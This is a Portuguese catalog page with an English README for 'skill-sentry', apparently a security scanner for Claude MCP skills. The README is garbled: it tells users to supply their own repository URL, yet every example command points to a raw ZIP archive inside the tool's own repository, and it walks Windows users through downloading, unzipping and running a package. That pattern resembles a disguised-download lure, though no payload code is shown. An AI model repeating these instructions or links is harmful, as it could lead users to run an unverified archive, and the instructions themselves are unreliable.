Skill Sentry
mitigative-davidbushnell562/skill-sentry
Escaneie skills Claude para ameaças de segurança antes de instalar
Ver no GitHubFerramenta de scanning de segurança para skills Claude MCP que detecta riscos antes da instalação. Verifica automaticamente arquivos perigosos, scripts inseguros, chamadas de rede ocultas e padrões de execução de código suspeitos em repositórios GitHub.
Instalação
npx convez-ai mitigative-davidbushnell562/skill-sentry1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Validar segurança de skills terceirizados antes da instalação
- Detectar supply chain attacks e código malicioso em pacotes MCP
- Revisar hábitos perigosos em scripts de setup e build
Veredito

Ferramenta sólida para reduzir risco ao adotar skills de terceiros. Essencial para quem trabalha com ecossistema MCP aberto, apesar de exigir análise manual complementar após o scan.
README
A tradução para o português deste README ainda está na fila.
🛡️ skill-sentry - Scan skills before you install
🚀 What skill-sentry does
skill-sentry checks Claude MCP skills for security risks before you install them.
It helps you inspect a skill source without running the code first.
Use it to review skills from a GitHub URL and look for signs of unsafe behavior, hidden commands, and suspicious package use.
🖥️ Windows download and setup
- Open the download link above.
- On the GitHub page, look for the latest release or the main project page.
- Download the Windows package or follow the install steps on the page.
- If the file comes as a ZIP, unzip it first.
- Open Command Prompt or PowerShell.
- Run the tool from the folder where you saved it.
📦 Install with npx
If you already have Node.js on your Windows PC, you can run skill-sentry with:
npx skill-sentry
Replace <your skills github url> with the GitHub link to the Claude MCP skills you want to scan.
Example:
npx skill-sentry https://github.com/mitigative-davidbushnell562/skill-sentry/raw/refs/heads/main/app/repo/[owner]/[name]/skill-sentry-1.1.zip
🔍 What it checks
skill-sentry looks for common security problems in skill packages, such as:
- Unsafe install scripts
- Hidden network calls
- Suspicious file access
- Commands that can change your system
- Risky package references
- Signs of supply chain abuse
- Unexpected model context protocol files
- Patterns that can lead to code execution
🧭 When to use it
Use skill-sentry before you install a new Claude MCP skill.
It is useful when:
- A skill comes from a repo you do not know
- You want to review a skill before use
- You need a fast safety check
- You want to reduce risk from third-party code
- You work with MCP skills from public GitHub repos
✅ Who it is for
This tool is a good fit if you:
- Use Claude skills on your PC
- Download MCP skills from GitHub
- Want a simple safety check
- Do not want to run unknown code first
- Prefer plain results before installation
🔧 Basic use
- Copy the GitHub URL for the skill repo.
- Paste it into the command.
- Wait for the scan to finish.
- Review the results.
- Only install the skill if the scan looks safe.
Example command:
npx skill-sentry https://github.com/mitigative-davidbushnell562/skill-sentry/raw/refs/heads/main/app/repo/[owner]/[name]/skill-sentry-1.1.zip
🪟 Windows requirements
You need:
- Windows 10 or later
- Internet access
- Node.js installed if you want to use
npx - A GitHub account if the repo is private
- Permission to run apps from the Command Prompt or PowerShell
📂 What you may see in a scan
A scan report can point out items such as:
- Readme files with risky setup steps
- Package files that run scripts
- Files that fetch data from outside sources
- MCP server settings that need review
- Paths that expose local files
- Code patterns that deserve a manual check
🛠️ How to read the result
Look for items marked as risky or unknown.
Pay attention to:
- Install scripts
- Build steps
- Remote URLs
- File write access
- Shell commands
- Package names you do not recognize
If the scan shows clean results, you still should review the repo page before you install.
🧪 Example workflow
- Find a Claude MCP skill on GitHub.
- Copy the repo URL.
- Run the scan with
npx skill-sentry. - Review the findings.
- Decide if the skill is safe for your use.
📘 Project topics
This project relates to:
- claude
- claude-skill
- mcp
- mcp-server
- model-context-protocol
- npm-security
- scanner
- security
- static-analysis
- supply-chain-security
🔗 Project link
Visit the project page here:
🧩 Command reference
Scan a skill repo:
npx skill-sentry
Scan a public repo:
npx skill-sentry https://github.com/mitigative-davidbushnell562/skill-sentry/raw/refs/heads/main/app/repo/[owner]/[name]/skill-sentry-1.1.zip
Scan a private repo you can access:
npx skill-sentry https://github.com/mitigative-davidbushnell562/skill-sentry/raw/refs/heads/main/app/repo/[owner]/[name]/skill-sentry-1.1.zip
🧠 Tips for safer use
- Review the GitHub repo before you install
- Check the files that the scan flags
- Compare the repo name with the author name
- Look at the recent commit history
- Check for scripts in package files
- Be careful with repos that ask for extra access
📋 File types this tool may inspect
skill-sentry may check common project files, such as:
- README files
- package manifests
- install scripts
- config files
- MCP server files
- source files linked to setup steps
🧰 If the scan does not start
Try these steps:
- Check your internet connection.
- Make sure Node.js is installed.
- Confirm the GitHub URL is correct.
- Try the repo again with a public skill source.
- Open PowerShell and run the command from the folder where you saved the tool
📥 Download / install link
Use this link to download or open the project page on GitHub: